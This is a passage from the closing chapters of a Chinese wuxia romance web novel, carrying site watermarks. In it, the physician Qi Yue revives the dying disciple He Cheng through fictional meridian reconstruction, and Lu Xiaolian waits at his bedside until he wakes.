小时候她问过贺承,在来到青山城之前,他在哪里?是不是跟他的爹娘住在一块?他会不会想爹娘?贺承没有回答,是贺启偷偷告诉她,他们没有爹娘,如果没有来到青山城,他们早就死了。 她小的时候替贺承怨过他的父母,长大些又觉得哪有父母不疼爱孩子,猜想贺承的父母大抵已经不在人世,只暗暗对贺承更好些,再后来同他到了枕风楼,知道他的身世,儿时埋在心里的怨愤再度卷土重来。 她咬牙,压着哽咽:“你凭什么,做他的母亲!” 陆晓怜气得厉害,可此时一颗心都挂在贺承身上,也想不到更厉害的话来替贺承出气。正气着,庄荣从里间探出身子来朝她招手:“丫头,快来,小承醒了。” 她将桑秀推出去,严严实实关上门:“你不许进来,师兄说过,他不想见你。” 陆晓怜快步走入里间。 贺承当真醒了过来,可气色灰败,目光迟滞涣散,醒得极为辛苦。他看着陆晓怜走来,跪坐在床边的踏板上,费力地伸出去去与她的手相握,胸口微弱起伏着,他的声音低得几乎要听不清:“晓怜……你,你别难过太久……” “师兄——”陆晓怜声音哽咽,握着他的手,只觉他的手冷得不似活人。 “我没想着要怪谁……你,你也别怨谁……” 陆晓怜哽咽:“我没怨谁。” 贺承深深阖了下眼,抬眼看向站在床边的庄荣,缓了口气,又接着对陆晓怜说说:“师叔拿我当他自己的孩子养,我,我本该为他养老送终,如今,如今是不能了……要拜托你了,还有,还有小启——” 提到贺启,贺承眉心一拧,费力地抬头扫视了一圈。 青山城的所有人都在,连桑秀和金波也在,独独贺启不在。 贺承心里发慌,气息登时乱了,灰白的唇发着抖,问:“小启呢……” 贺启早就回到青山城了,所有人都知道他撑不了多久了,贺启不肯不在,除非—— “贺启没事!”陆晓怜知道贺承的心思,忙解释,“贺启和沈大哥去找大夫了,已经派人去找他们回来。”说到这里,她终于压不住喉咙里的哽咽,开口的话都变了声调:“师兄,你最疼贺启,你要等等他。” “等不到了……”贺承苦笑,微不可查地摇了摇头,开始闷声咳嗽。他已经连咳嗽的力气都没有了,单薄的胸膛轻轻震颤着,口中又开始断断续续呛出血沫,将他苍白得如同霜雪的脸染得凄艳。 “师兄!”陆晓怜说不出别的话来,只哭着喃喃喊他。 她拿了一块帕子,颤抖着手,一遍一遍擦去他嘴角的血迹,帕子被鲜血浸得湿热,却怎么也擦不尽他唇边的嫣然血色。 “晓怜……”贺承的气息越发短急,用最后的力气扣住陆晓怜的手腕,他咬紧了牙关,额角隐隐浮起青筋,“好好活下去……替我,替我照顾好大家……” 最后咬着牙攒出的力气崩断了经脉间似有若无的那一丝牵连。 周身经脉炸开剧烈疼痛,贺承气息一窒,瞳孔颤了颤,身体痉挛般颤抖着,胸口的腥气卷上来,唇齿间不可抑止地汩汩涌出刺眼的鲜血。 他已经说不出话来,挣扎着抬头,涣散的目光扫过守在他床边的每一个人,染血的唇勾起几不可察的笑意。 够了,知足了…… 贺承的眼睫轻轻落下,指掌从陆晓怜腕上滑下去,无力垂落在床沿……魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第98章 第九十七章终章(二)师…… “哥——” 几乎是在贺承的眼睫垂落的瞬间,房门被人大力撞开,贺启跌跌撞撞闯进来,凄厉哭喊:“哥!你别睡,大夫来了!” 紧接着是一阵凌乱的脚步声,一个身穿蓝色衣袍的清瘦身影快步奔至床榻旁,捏着贺承无力垂落在床沿的手腕,诊了片刻,头也不回,对跟在身后的人喊:“戎哥,快把银针给我,不能让心口这抹热气散了。” 陆晓怜跪坐在床榻旁,出神望着气息断绝的贺承,直到身后这一声清亮的“戎哥”,才将她唤醒过来。她蓦地抬头看去,坐在床沿为贺承把脉的果然是当初与他们同闯百花谷的齐越,而他身后也一如既往跟着赵戎津。 故人旧事,霎时涌上心头。 仿佛被打开了什么机窍开关,陆晓怜望着齐越,未及开口,眼泪便簌簌滚落下来。 齐越救人心切,来不及同陆晓怜多说,利落地扯开贺承的衣襟,拈了银针,在赵戎津递过来的烛火上淬过,将银针深深扎入贺承心口穴位。齐越轻轻捻着银针,皱着眉头看贺承,不一会,刚刚明明已经散了气息的人,胸口微不可查的颤了一下,嘴角蜿蜒出一道细细的乌血。 见状,齐越轻轻舒了一口气,重新去摸贺承的手腕诊脉。 陆晓怜期期艾艾地盯着他看:“小齐大夫,我师兄怎么样?” 齐越沉着脸:“贺少侠经脉尽毁,强留住的这口气撑不了多长时间。好在当初在百花谷,师父师娘为贺少侠治秋梧半死丹的毒伤时,曾为他另开了一条经脉,引出他的一脉内息护住他被重创的奇经八脉五脏六腑。也正是因此,后来贺少侠内息散尽,没了这道护住经脉脏腑的内息,旧伤才会压不住,一齐发作出来。” 在来青山城的路上,沈懿行与贺启已经将贺承他们离开百花谷后发生的事,详细同齐越说过了。要如何为贺承博一线生机,他在来的路上,也仔细想过了。 “师父为贺少侠开出的经脉是贴着经脉要穴的,若能将这条经脉彻底打通,便能解他气血不畅,脏腑衰竭之困,旁的不说,至少暂时能保住性命。”齐越将嘴唇抿得发白,目光落在陆晓怜身上,“陆姑娘若是信我,便让我试一试。” 若不是齐越落下的这枚银针,贺承的这口气已经散了,此刻还说什么信不信? 陆晓怜捏着帕子擦净贺承唇边新染上的血污,不管他能不能听见,她抵在他耳边说话:“师兄,你一定要撑过来,我相信你。”说罢,俯身在贺承额角深深一吻,让出离他最近的位置。 赵戎津替齐越将旁人都请了出去,只留了陆晓怜和沈懿行下来。 多亏了南门迁和潘妩爱才,不仅当日为贺承治疗毒伤时,将齐越留在身边仔细指点,还将齐越收入门下,交出书库的钥匙,才让齐越有机会翻出所有重塑经脉的医典仔细研读,以至于今日还能有救贺承一命的可能。 陆晓怜不敢打扰齐越,只绞着两只手站在一旁看着。 齐越从医药箱里翻出两枚婴儿小臂长的银针,示意沈懿行将贺承扶起来,一节一节摸过贺承嶙峋可见的脊骨,找到了位置,将一枚银针斜斜刺入,几乎是贴着脊骨,贯穿了贺承的背。接着,他绕到贺承身前,如法炮制,将另一枚银针贴着贺承的胸骨扎入 那样长的针,扎得那样深,该有多疼! 昏睡中的贺承没有知觉,像个没有灵魂的破布娃娃斜斜靠在沈懿行手臂上,银针穿刺进他的身体,他连眉头都没有皱一下,可站在一旁的陆晓怜,仅仅只是目光触及那根细长的银针,便已经替贺承疼出了一身冷汗。 齐越又往贺承身上几处要穴扎了银针,看了赵戎津一眼,后者了然,掰开贺承的嘴,往里塞了一颗药丸。确定贺承将药丸咽了下去,齐越才回头对陆晓怜说:“陆姑娘,如今贺需要冲破最后一道关卡,帮贺少侠引气血汇入新开的经脉,这一步,我们思来想去,你来完成最合适。” “我?” 齐越点头:“另塑的经脉毕竟与自己生来就有的不同,即便贺少侠能活下来,日后也免不了要受气血乱冲之苦,需得有人每日以内息为其疏导。会与贺少侠朝夕相对形影不离的人,想来非陆姑娘莫属。何况,来时沈楼主也同我们说了,陆姑娘如今功力大增,确实也能当此重任。” “我,我能帮师兄?”陆晓怜面上一喜,快步走至床榻旁,“要我怎么做?” 齐越引着陆晓怜一手贴着贺承的前胸,一手贴着贺承的后心,徐徐打入一脉,牵引着他体内沉如死水的气息在新辟的经脉间流动。 齐越一手托着贺承的手,一手贴着他腕上寸关,片刻不敢疏忽。 探到贺承的脉搏沉沉落下去,他凝眉提示陆晓怜:“加几分气力冲过去,重塑的经脉若能与气海相通,便算是成了!” “好!”陆晓怜应道,她掌心 力力那一道细如溪涧的内息渐如寒冰消融的漫漫春江水,渐渐满盈上来。 春汛漫过干涸的地,枯荒的草,润泽着曾被霜雪围困的一切。 野草只要一息尚存,春雨润过,春风吹过,又可遍野。 陆晓怜咬牙冲破最后的阻力,却见贺承的身体猛地一颤,闷哼出声来。 她心里发慌,顿觉无措,不知该不该撤回掌力。幸而一旁的赵戎津及时开口:“别慌,他能感觉到疼,兴许是好事,说明他暂时死不了了。” 齐越搭着贺承的手腕,沉吟片刻,朝陆晓怜点头:“戎哥说得对,重塑经脉无异于易经洗髓,哪里有不疼的。之前贺少侠不觉得疼,是因为那时他几乎已经是半个死人,如今能觉得疼,反倒是因为他活过来了。” “那我,我现在怎么办?” 齐越不解:“什么怎么办?” 陆晓怜看了一眼自己贴在贺承身上,微微发着颤的手掌,声音也是发震颤的:“我该用几分力气?得护着他的经脉,可又不能让他太疼,这,这究竟要怎么办才好!” 齐越与赵戎津对视一眼,不约而同笑出来。 齐越站起身,缓缓抽出扎入贺承体内的两枚细长银针,才对陆晓怜道:“陆姑娘此刻可以缓缓收回内息。此后每日,都要烦请陆姑娘为贺少侠运气,将他体内散乱的气血引入重塑的经脉中,一个月后,变为两日一回,在一个月后变为三日一回,如此下去,直至他体内的气血安安分分地顺着新塑的经脉运行,方可止歇。” 这话,已经将贺承的日子安排到了一个月后,两个月后,甚至更长的未来里。 陆晓怜听得欢喜,已经在心中开始盘算,两个月后是春末夏初的季节,花草繁茂,气候宜人,若师兄恢复得好,她便可以与他去青山城之外的地方走走,恰好那时候每隔三日才要为师兄运气一回,想必并不会妨碍他们游山玩水…… 想到这里,她终于想起要问齐越:“小齐大夫,师兄什么时候会醒?” 这本该是个寻常问题,不料齐越神色一僵,语气吞吐:“书上没说,可他之前毕竟伤得太重,也许一两日,也许……” “没事。”陆晓怜打断齐越,从沈懿行手中接过贺承,小心翼翼地扶着他平躺下来,为他盖好被子。她垂眸看着沉沉睡着的人,挤出一点笑:“没事,一两日,一两个月,一两年,我都能等。这一回,能看得见他,抱得到他,已经很好了。” 身体虚耗过甚,贺承果然没有那么快醒过来。 陆晓怜索性搬进了他居住的院落里。虽说江湖儿女不拘小节,虽说他们青梅竹马两小无猜,可一个十八九岁的姑娘住在师兄院子里,总归是要惹人非议的。 她收拾东西时,陆岳修来过一趟晚晴院 他站陆晓怜房门外,踌躇踯躅半晌,只干巴巴地说了一句:“你这儿离小承的院子也不远,你住在这儿,也不是很麻烦吧。” 陆晓怜不吭声,被陆岳修反反复复念叨得烦了,才停下手里的动作,转过头来,看着陆岳修,问:“爹,师兄如今这个模样,再妨碍不了您什么了吧?” 这话问得陆岳修一愣,一时无话。 陆晓怜又接着说下去:“那日叶广说的弄巧成拙,我没忘呢。您虽然没有打算要师兄的命,可又是设擂比武招亲,又是想往师兄饭菜里下化功散的,您就是不希望师兄和我在一起。师兄的武功比大哥高,声望也不逊于大哥,您是怕他跟我在一起,日后大哥当了掌门,便更压制不住他了,对不对?” 那场未办成的比武招亲是一切风波的起点。 只是后来发生的事太过热闹,除了被那场比武招亲闹得心烦意乱的陆晓怜和贺承,大多数人都忘了,曾有过这样一场盛会,将许多人聚到了一起,。 陆岳修知道陆晓怜要说什么,尝尝叹了口气:“你别怪爹,爹不得不防啊。” “师兄说他没想着怪谁,让我也别怨。”陆晓怜苦笑,“爹,您还记不记得师兄十五岁那年,在凤鸣山比武大会上一鸣惊人的模样?他本不该被困在病榻上的,可是他那时候已经快要说不出话来了,偏偏要用最后的力气交代我,别替他怨别替他恨。他这样的人,真的会与自家兄弟为难吗?” 陆岳修咬牙:“别说了,爹知道错了。” “我说这话,不是为了刺爹爹的心。”陆晓怜抿紧了嘴唇,低垂着眉眼,深吸了口气,语气坚定,“我是要说,终究是我们陆家愧对于他,所以,他一日不醒,我便等他一日,爹,你不能拦我。” 陆晓怜是青山城掌门陆岳修的掌上明珠,她想做的事没几个人拦得住,而能拦住她的那个人如今还在床上昏迷不醒地睡着。 这期间,许多悬而未决的事都有了着落。 贺启犯下大错,青山城自然不能留他。沈懿行回枕风楼时,原本是想将他一并带走的,可贺启长这么大,除了无涯洞出事后的那一年外,从未与贺承分开过,说什么也不愿意同沈懿行去湘城。 青山城山门内是没有他的容身之地了,可山门之外,当个住在山脚下的普通老百姓却没人能管。他在山脚下的小村庄寻了房子,与葛文葛武、江家老太太为邻,每日递拜帖进到山门里来看贺承,蹲在床边贺承睁眼便能看见的位置,抬眼看他大哥,看着看着又屡屡红了眼眶。 齐越也不知道自己究竟是不是把贺承治好了,可叶芷蔚听说了重塑经脉的法子,好说歹说,几乎要跪到地上去,求他救救孟元纬。 趁着蛊虫入体的时间不长,金波取出蛊虫,让齐越安心治疗。 许是孟元纬伤势轻,又许是孟元纬一身功力还在的缘故,齐越的治疗方法在他身上起效极快极好,重塑经脉后,不到半个月,孟元纬便苏醒过了。只是他昏睡了一年多,已经无法熟练控制自己的身体,连吃饭走路这样的小事,都要叶芷蔚耐着性子一点点教,一点点陪着。 日子回到了原来的轨道上。 可是贺承还是不醒。 陆晓怜每日都坐在床边同贺承说话。哄他的话说了,凶他的话也说了,可他油盐不进,软硬不吃,陆晓怜没有办法,时不时捏着他的手臂,吓唬他:“师兄,你知道孟元纬一把年纪了,还跟孩童似的学走路,有多好笑吗?你再不快点醒,等日后醒过来,便会跟他一样,路也不会走,饭也不会吃……” 她常常这样絮絮叨叨地说,说些青山城的事,说些他们共同的朋友。 即使房间里除了她脆亮的声音,再没有别的动静。 却不想,那日她正说得起劲,一个低沉虚弱的声音插进来。 那个声音里明显带着促狭笑意,问她:“同孟元纬一样,不会走路,不会吃饭,陆姑娘便打算不要我了吗?” 陆晓怜如被封住穴道般,霎时顿住。 她的目光垂下去,只见床榻上消瘦得像一页纸的人虚弱地半睁着眼,正含着笑意地看着她。她下意识屏住了呼吸,她不知道自己在怕什么,是怕这是一场轻易破碎的梦,又或许是怕床榻上的人太单薄太脆弱,禁不得一点风雨。 她久久没有说话,只是盯着床榻上的人眸光微微的眼睛,眼睛渐渐红了。 等了许久,贺承终于没了耐心,窸窸窣窣才被子里伸出手来握她:“傻不傻?怎么还哭了?不高兴教我走路教我吃饭啊?” “教!”陆晓怜回过神来,脆声回答,哽咽道,“最好是教不会。” 贺承失笑:“为什么不愿意教会我?” “这样你便事事都得依靠着我了。”陆晓怜俯抱住贺承的肩膀,“师兄,这一回换我来护着你,好不好?” 贺承一愣,抬手轻轻回抱住陆晓怜,含笑应她一声:“好。” 【正文完】魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&